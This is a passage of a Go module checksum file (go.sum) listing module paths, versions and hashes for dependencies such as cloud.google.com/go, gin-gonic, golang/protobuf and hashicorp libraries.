19 | cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8=
20 | cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0=
21 | cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
22 | cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
23 | cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
24 | cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
25 | cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
26 | cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
27 | cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
28 | cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
29 | cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
30 | cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
31 | cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
32 | cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
33 | cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
34 | cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
35 | cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
36 | cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
37 | cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
38 | cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
39 | dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
40 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
41 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
42 | github.com/PuerkitoBio/purell v1.1.0 h1:rmGxhojJlM0tuKtfdvliR84CFHljx9ag64t2xmVkjK4=
43 | github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
44 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 h1:d+Bc7a5rLufV/sSk/8dngufqelfh6jnri85riMAaF/M=
45 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
46 | github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
47 | github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
48 | github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
49 | github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
50 | github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
51 | github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
52 | github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM=
53 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
54 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
55 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
56 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
57 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
58 | github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
59 | github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
60 | github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
61 | github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
62 | github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
63 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
64 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
65 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
66 | github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM=
67 | github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
68 | github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
69 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
70 | github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
71 | github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po=
72 | github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
73 | github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
74 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
75 | github.com/fastly/go-utils v0.0.0-20180712184237-d95a45783239 h1:Ghm4eQYC0nEPnSJdVkTrXpu9KtoVCSo1hg7mtI7G9KU=
76 | github.com/fastly/go-utils v0.0.0-20180712184237-d95a45783239/go.mod h1:Gdwt2ce0yfBxPvZrHkprdPPTTS3N5rwmLE8T22KBXlw=
77 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
78 | github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
79 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
80 | github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
81 | github.com/gin-contrib/gzip v0.0.1 h1:ezvKOL6jH+jlzdHNE4h9h8q8uMpDQjyl0NN0Jd7jozc=
82 | github.com/gin-contrib/gzip v0.0.1/go.mod h1:fGBJBCdt6qCZuCAOwWuFhBB4OOq9EFqlo5dEaFhhu5w=
83 | github.com/gin-contrib/sse v0.0.0-20170109093832-22d885f9ecc7/go.mod h1:VJ0WA2NBN22VlZ2dKZQPAPnyWw5XTlK1KymzLKsr59s=
84 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
85 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
86 | github.com/gin-gonic/gin v1.3.0/go.mod h1:7cKuhb5qV2ggCFctp2fJQ+ErvciLZrIeoOSOm6mUr7Y=
87 | github.com/gin-gonic/gin v1.7.0/go.mod h1:jD2toBW3GZUr5UMcdrwQA10I7RuaFOl/SGeDjXkfUtY=
88 | github.com/gin-gonic/gin v1.7.4 h1:QmUZXrvJ9qZ3GfWvQ+2wnW/1ePrTEJqPKMYEU3lD/DM=
89 | github.com/gin-gonic/gin v1.7.4/go.mod h1:jD2toBW3GZUr5UMcdrwQA10I7RuaFOl/SGeDjXkfUtY=
90 | github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
91 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
92 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
93 | github.com/go-openapi/jsonpointer v0.17.0 h1:nH6xp8XdXHx8dqveo0ZuJBluCO2qGrPbDNZ0dwoRHP0=
94 | github.com/go-openapi/jsonpointer v0.17.0/go.mod h1:cOnomiV+CVVwFLk0A/MExoFMjwdsUdVpsRhURCKh+3M=
95 | github.com/go-openapi/jsonreference v0.17.0/go.mod h1:g4xxGn04lDIRh0GJb5QlpE3HfopLOL6uZrK/VgnsK9I=
96 | github.com/go-openapi/jsonreference v0.19.0 h1:BqWKpV1dFd+AuiKlgtddwVIFQsuMpxfBDBHGfM2yNpk=
97 | github.com/go-openapi/jsonreference v0.19.0/go.mod h1:g4xxGn04lDIRh0GJb5QlpE3HfopLOL6uZrK/VgnsK9I=
98 | github.com/go-openapi/spec v0.19.0 h1:A4SZ6IWh3lnjH0rG0Z5lkxazMGBECtrZcbyYQi+64k4=
99 | github.com/go-openapi/spec v0.19.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsdfssdxcBI=
100 | github.com/go-openapi/swag v0.17.0 h1:iqrgMg7Q7SvtbWLlltPrkMs0UBJI6oTSs79JFRUi880=
101 | github.com/go-openapi/swag v0.17.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
102 | github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A=
103 | github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
104 | github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
105 | github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
106 | github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
107 | github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
108 | github.com/go-playground/validator/v10 v10.4.1 h1:pH2c5ADXtd66mxoE0Zm9SUhxE20r7aM3F26W0hOn+GE=
109 | github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4=
110 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
111 | github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
112 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
113 | github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
114 | github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
115 | github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
116 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
117 | github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
118 | github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
119 | github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
120 | github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
121 | github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
122 | github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=
123 | github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8=
124 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
125 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
126 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
127 | github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
128 | github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
129 | github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
130 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
131 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
132 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
133 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
134 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
135 | github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
136 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
137 | github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
138 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
139 | github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM=
140 | github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
141 | github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
142 | github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
143 | github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
144 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
145 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
146 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
147 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
148 | github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
149 | github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
150 | github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
151 | github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
152 | github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
153 | github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
154 | github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
155 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
156 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
157 | github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
158 | github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
159 | github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
160 | github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
161 | github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
162 | github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
163 | github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
164 | github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
165 | github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
166 | github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
167 | github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
168 | github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
169 | github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
170 | github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
171 | github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
172 | github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
173 | github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
174 | github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
175 | github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
176 | github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
177 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8=
178 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
179 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
180 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
181 | github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
182 | github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
183 | github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
184 | github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
185 | github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
186 | github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
187 | github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
188 | github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
189 | github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
190 | github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
191 | github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
192 | github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
193 | github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
194 | github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
195 | github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
196 | github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
197 | github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=
198 | github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
199 | github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
200 | github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
201 | github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
202 | github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
203 | github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
204 | github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
205 | github.com/jehiah/go-strftime v0.0.0-20171201141054-1d33003b3869 h1:IPJ3dvxmJ4uczJe5YQdrYB16oTJlGSC/OyZDqUk9xX4=
206 | github.com/jehiah/go-strftime v0.0.0-20171201141054-1d33003b3869/go.mod h1:cJ6Cj7dQo+O6GJNiMx+Pa94qKj+TG8ONdKHgMNIyyag=
207 | github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
208 | github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
209 | github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
210 | github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
211 | github.com/jonboulle/clockwork v0.2.2 h1:UOGuzwb1PwsrDAObMuhUnj0p5ULPj8V/xJ7Kx9qUBdQ=
212 | github.com/jonboulle/clockwork v0.2.2/go.mod h1:Pkfl5aHPm1nk2H9h0bjmnJD/BcgbGXUBGnn1kMkgxc8=
213 | github.com/json-iterator/go v1.1.5/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
214 | github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
